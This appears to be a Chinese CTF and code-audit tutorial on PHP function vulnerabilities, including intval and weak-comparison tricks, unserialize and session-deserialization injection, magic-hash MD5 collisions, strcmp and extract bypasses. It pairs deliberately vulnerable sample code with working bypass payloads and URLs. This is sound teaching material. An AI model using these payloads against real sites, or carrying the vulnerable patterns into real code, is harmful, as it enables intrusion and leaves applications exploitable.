前言
此篇文件属于代码审计篇的一个环节,其意图是为总结php常见函数漏洞分为上下两节,此为上节!此篇与命令注入绕过篇和sql注入回顾篇同属一个系列!欢迎各位斧正!
文章目录
正文
intval()使用不当导致安全漏洞的分析
intval函数有个特性:“直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换”,在某些应用程序里由于对intval函数这个特性认识不够,错误的使用导致绕过一些安全判断导致安全漏洞.此外有些题目还利用intval函数四舍五入的特性来绕过判断!
- 漏洞代码分析
PHP_FUNCTION(intval)
{
zval **num, **arg_base;
int base;
switch (ZEND_NUM_ARGS()) {
case 1:
if (zend_get_parameters_ex(1, &num) == FAILURE) {
WRONG_PARAM_COUNT;
}
base = 10;
break;
case 2:
if (zend_get_parameters_ex(2, &num, &arg_base) == FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_long_ex(arg_base);
base = Z_LVAL_PP(arg_base);
break;
default:
WRONG_PARAM_COUNT;
}
RETVAL_ZVAL(*num, 1, 0);
convert_to_long_base(return_value, base);
}
Zend/zend_operators.c->>convert_to_long_base()
……
case IS_STRING:
strval = Z_STRVAL_P(op);
Z_LVAL_P(op) = strtol(strval, NULL, base);
STR_FREE(strval);
break;
当intval函数接受到字符串型参数是调用convert_to_long_base()处理,接下来调用Z_LVAL_P(op) = strtol(strval, NULL, base);通过strtol函数来处理参数。
函数原型如下:
long int strtol(const char *nptr,char **endptr,int base);
这个函数会将参数nptr字符串根据参数base来转换成长整型数,参数base范围从2至36,或0.参数base代表采用的进制方式,如base值为10则采用10进制,若base值为16则采用16进制等。
流程为:
strtol()会扫描参数nptr字符串,跳过前面的空格字符,直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换,并将结果返回。
那么当intval用在if等的判断里面,将会导致这个判断实去意义,从而导致安全漏洞。
-
代码测试
var_dump(intval('2')); var_dump(intval('3abcd')); var_dump(intval('abcd')); var_dump(intval('1.121')); // 可以使用字符串-0转换,来自于wechall的方法
说明intval()转换的时候,会将从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0
顺便说一下,intval可以被%00截断
if($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";
}
如果当$req[‘number’]=0%00
即可绕过
-
CTF中一些绕过
<?php echo intval(42); // 42 echo intval(4.2); // 4 echo intval('42'); // 42 echo intval('+42'); // 42 echo intval('-42'); // -42 echo intval(042); // 34 echo intval('042'); // 42 echo intval(1e10); // 1410065408 echo intval('1e10'); // 1 echo intval(0x1A); // 26 echo intval(42000000); // 42000000 echo intval(420000000000000000000); // 0 echo intval('420000000000000000000'); // 2147483647 echo intval(42, 8); // 42 echo intval('42', 8); // 34 echo intval(array()); // 0 echo intval(array('foo', 'bar')); // 1 ?>
switch()
如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型,效果相当于intval函数。如下:
<?php
$i ="2a";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}
?>
这个时候程序输出的是i is less than 3 but not negative,是由于switch()函数将$i进行了类型转换,转换结果为2。
-
switch没有break 字符与0比较绕过
代码
<?php error_reporting(0); if (isset($_GET['which'])) { $which = $_GET['which']; switch ($which) { case 0: case 1: case 2: require_once $which.'.php'; echo $flag; break; default: echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false); break; } } ?>
题解:
让我们包含当前目录中的
flag.php
,给which
为flag
,这里会发现在case 0
和case 1
的时候,没有break
,按照常规思维,应该是0
比较不成功,进入比较1
,然后比较2
,再然后进入default
,但是事实却不是这样,事实上,在case 0
的时候,字符串和0
比较是相等的,进入了case 0
的方法体,但是却没有break
,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句,这个时候,是不会再继续进行任何判断的。也就是说,我们which
传入flag
的时候,case 0
比较进入了方法体,但是没有break
,默认已经匹配成功,往下执行不再判断,进入2
的时候,执行了require_once flag.php
PHP中非数字开头字符串和数字
0
比较==
都返回True
因为通过逻辑运算符让字符串和数字比较时,会自动将字符串转换为数字.而当字符串无法转换为数字时,其结果就为
0
了,然后再和另一个0
比大小,结果自然为ture
。注意:如果那个字符串是以数字开头的,如6ldb
,它还是可以转为数字6
的,然后和0
比较就不等了(但是和6
比较就相等)
if($str==0)
判断 和if( intval($str) == 0 )
是等价的可以验证: <?php $str="s6s"; if($str==0){ echo "返回了true.";} ?>
要字符串与数字判断不转类型方法有:
- 方法一:
$str="字符串";if($str===0){ echo "返回了true.";}
- 方法二:
$str="字符串";if($str=="0"){ echo "返回了true.";} ,
此题构造:
http://127.0.0.1/php_bug/25.php?which=aa
资料:
- 方法一:
in_array()
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true
可以看到上面的情况返回的都是true,因为’abc’会转换为0,’1bc’转换为1。 在所有php认为是int的地方输入string,都会被强制转换
PHP弱类型的特性
<?php
var_dump("admin"==0); // true
var_dump("1admin"==1); // true
var_dump("admin1"==1); // false
var_dump("admin1"==0); // true
var_dump("0e123456"=="0e654321"); // true
var_dump([]>任何数字); // true
?>
“.“被替换成”_”
PHP参数中的".“会被替换成”_"
var_dump("user.id"); // user_id
unset
unset(bar);用来销毁指定的变量,如果变量bar);用来销毁指定的变量,如果变量bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。
<?php
// http://127.0.0.1/index.php?_CONFIG=123
$_CONFIG['extraSecure'] = true;
foreach(array('_GET','_POST') as $method) {
foreach($$method as $key=>$value) {
// $key == _CONFIG
// $$key == $_CONFIG
// 这个函数会把 $_CONFIG 变量销毁
unset($$key);
}
}
if ($_CONFIG['extraSecure'] == false) {
echo 'flag {****}';
}
?>
serialize 和 unserialize漏洞
- 魔术方法
这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct
, __destruct
,__toString
,__sleep
,__wakeup
等等。这些函数都会在某些特殊时候被自动调用。
例如__construct()
方法会在一个对象被创建时自动调用,对应的__destruct
则会在一个对象被销毁时调用等等。
这里有两个比较特别的Magic方法,__sleep
方法会在一个对象被序列化的时候调用。 __wakeup
方法会在一个对象被反序列化的时候调用。
<!-- index.php -->
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<!-- shield.php -->
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
```
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
```
?>
<!-- showimg.php -->
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
//stripos — 查找字符串首次出现的位置(不区分大小写)
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
题解:
说明flag
在pctf.php
,但showimg.php
中不允许直接读取pctf.php
,只有在index.php
中可以传入变量class
,index.php
中Shield
类的实例$X = unserialize($g)
,$g = $_GET['class'];
,$X
中不知$filename
变量,但需要找的是:$filename = "pctf.php"
,现$X
已知,求传入的class
变量值。
可以进行序列化操作:
<!-- answer.php -->
<?php
require_once('shield.php');
$x = class Shield();
$g = serialize($x);
echo $g;
?>
<!-- shield.php -->
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = 'pctf.php') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
得到:O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
构造:
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
session 反序列化漏洞
主要原因是
ini_set(‘session.serialize_handler’, ‘php_serialize’);
ini_set(‘session.serialize_handler’, ‘php’);
两者处理session的方式不同
利用下面代码可以生成session值
<?php
ini_set('session.serialize_handler', 'php_serialize');//a:1:{s:6:"spoock";s:3:"111";}
//ini_set('session.serialize_handler', 'php');//a|s:3:"111"
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>123456
我们来看看生成的session值
spoock|s:3:"111"; //session键值|内容序列化
a:1:{s:6:"spoock";s:3:"111";}a:1:{s:N:session键值;内容序列化}
在ini_set('session.serialize_handler', 'php');中把|之前认为是键值后面的视为序列化
那么就可以利用这一漏洞执行一些恶意代码
看下面的例子
1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>12345
2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
```
function __destruct() {
eval($this->hi);//这里很危险,可以执行用户输入的参数
}
```
}
?>
在1.PHP里面输入a参数序列化的值|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;}
则被序列化为 a:1:{s:6:”spoock”;s:44:”|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;}
在2.PHP里面打开 就可以执行phpinfo()了
MD5 compare漏洞
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
常见的payload有
0x01 md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')
同时MD5不能处理数组,若有以下判断则可用数组绕过
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2
双MD5
的:
md5("V5VDSHva7fjyJoJ33IQl") => 0e18bb6e1d5c2e19b63898aeed6b37ea
md5("0e18bb6e1************") => 0e0a710a092113dd5ec9dd47d4d7b86f
CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af
770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
ereg函数漏洞:00截断
利用ereg()
存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
字符串对比解析
在这里如果 $_GET[‘password’]为数组,则返回值为NULL
如果为123 || asd || 12as || 123%00&&&**,则返回值为true
其余为false
参考payload
http://127.0.0.1/Php_Bug/16.php?nctf=1%00%23biubiubiu`
Strcmp()漏洞
int strcmp ( string $str1 , string $str2)
这里的函数返回值:当str1 < str2 时返回 < 0;
当str1 > str2 时返回 > 0;
当str1 = str2 时返回 0;
当我们传入字符串类型的数据的时候,则会返回 0;
所以我们可以通过传入一个 数组 或者一个 object 来绕过
?str1[]=
参考payload
http://127.0.0.1/Php_Bug/06.php?a[]=1
这个函数是用于比较字符串的函数
int strcmp ( string $str1 , string $str2 )
// 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3
之前的php中,显示了报错的警告信息后,将return 0
!!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞,当然,php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。strcmp
只会处理字符串参数,如果给个数组的话呢,就会返回NULL
,而判断使用的是==
,NULL==0
是 `bool(true)
is_numeric函数
is_numeric()函数来判断变量是否为数字,是数字返回1,不是则返回0。比较范围不局限于十进制数字。
<?php
echo is_numeric(233333); # 1
echo is_numeric('233333'); # 1
echo is_numeric(0x233333); # 1
echo is_numeric('0x233333'); # 1
echo is_numeric('233333abc'); # 0
?>
栗子
<?php
error_reporting(0);
$flag = "flag{test}";
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}
?>
题解
is_numeric($temp)?die(“no numeric”):NULL;`
不能是数字
if($temp>1336){
echo $flag;
}
又要大于1336
利用PHP
弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval
再比。如果输入一个1337a
这样的字符串,在is_numeric
中返回true
,然后在比较时被转换成数字1337
,这样就绕过判断输出flag
。
http://127.0.0.1/php_bug/22.php?password=1337a
sha1 和 md5 函数
md5 和 sha1 无法处理数组,返回 NULL
if (@sha1([]) == false)
echo 1;
if (@md5([]) == false)
echo 2;
echo var_dump(@sha1([]));
echo var_dump(@md5([]))
参考payload
若为md5($_GET['username']) == md5($_GET['password'])
则可以构造:
http://127.0.0.1/Php_Bug/18.php?username=QNKCDZO&password=240610708
因为==
对比的时候会进行数据转换,0eXXXXXXXXXX
转成0
了
也可以使用数组绕过
http://127.0.0.1/Php_Bug/18.php?username[]=1&password[]=2
但此处是===
,只能用数组绕过,PHP
对数组进行hash
计算都会得出null
的空值
`http://127.0.0.1/Php_Bug/18.php?username[]=1&password[]=2
preg_match
如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题
<?php
$ip = '1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
die('error');
} else {
echo('key...');
}
?>
parse_str
与 parse_str() 类似的函数还有 mb_parse_str(),parse_str 将字符串解析成多个变量,如果参数str是URL传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域
*//var.php?var=new*
$var='init';
parse_str($_SERVER['QUERY_STRING']);
print $var;
字符串比较
== 是弱类型的比较,以下比较都为 true
<?php
echo 0 == 'a' ;// a 转换为数字为 0 重点注意
// 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc
// 十六进制与整数,被转换为同一进制比较
'0xccccccccc' == '54975581388' ;
// 字符串在与数字比较前会自动转换为数字,如果不能转换为数字会变成0
1 == '1';
1 == '01';
10 == '1e1';
'100' == '1e2' ;
// 十六进制数与带空格十六进制数,被转换为十六进制整数
'0xABCdef' == ' 0xABCdef';
echo '0010e2' == '1e3';
// 0e 开头会被当成数字,又是等于 0*10^xxx=0
// 如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过
'0e509367213418206700842008763514' == '0e481036490867661113260034900752';
'0e481036490867661113260034900752' == '0' ;
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>
变量本身的key
说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>
extract()变量覆盖
extract()
这个函数在指定参数为EXTR_OVERWRITE
或者没有指定函数可以导致变量覆盖!
<?php
$auth = '0';
// 这里可以覆盖$auth的变量值
extract($_GET);
if($auth == 1){
echo "private!";
} else{
echo "public!";
}
?>
<?php
$a='hi';
foreach($_GET as $key => $value) {
echo $key;
$$key = $value;
}
print $a;
?>
参考payload
示例代码
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
payload:http://127.0.0.1/Php_Bug/extract1.php?shiyan=&flag=1
绕过过滤的空白字符
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
```
$info = "number must be equal to it's integer!! ";
```
}
else
{
```
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
```
}
echo $info;
可以引入\f(也就是%0c)在数字前面,来绕过最后那个is_palindrome_number函数,而对于前面的数字判断,因为intval和is_numeric都会忽略这个字符,所以不会影响。
http://127.0.0.1/Php_Bug/02.php?number=%00%0c191
资料:
后记
此篇为PHP函数漏洞审计上篇,总结了一些常见函数漏洞,并结合了CTF题目进行分析!PHP代码审计系列还会继续,希望大家能有所收获!不积硅步,无以至千里!
PHP代码审计之函数漏洞(下)